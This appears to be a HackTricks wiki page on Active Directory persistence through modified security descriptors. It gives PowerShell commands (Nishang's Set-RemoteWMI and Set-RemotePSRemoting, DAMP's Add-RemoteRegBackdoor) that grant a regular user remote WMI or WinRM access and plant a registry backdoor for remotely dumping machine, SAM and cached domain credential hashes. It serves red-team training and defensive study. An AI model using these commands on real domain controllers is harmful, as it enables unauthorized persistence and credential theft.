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77 lines
5.1 KiB
Markdown
77 lines
5.1 KiB
Markdown
# Security Descriptors
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Security Descriptors
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[From the docs](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language): Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;`
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The **security descriptors** are used to **store** the **permissions** an **object** has **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
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Then, this persistence technique is based on the ability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin.
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### Access to WMI
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You can give a user access to **execute remotely WMI** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1):
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```bash
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Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
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Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
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```
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### Access to WinRM
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Give access to **winrm PS console to a user** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:**
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```bash
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Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
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Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
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```
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### Remote access to hashes
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Access the **registry** and **dump hashes** creating a **Reg backdoor using** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** so you can at any moment retrieve the **hash of the computer**, the **SAM** and any **cached AD** credential in the computer. So, it's very useful to give this permission to a **regular user against a Domain Controller computer**:
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```bash
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# allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
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Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
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# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.
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Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
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# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.
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Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
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# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine.
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Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
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```
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Check [**Silver Tickets**](silver-ticket.md) to learn how you could use the hash of the computer account of a Domain Controller.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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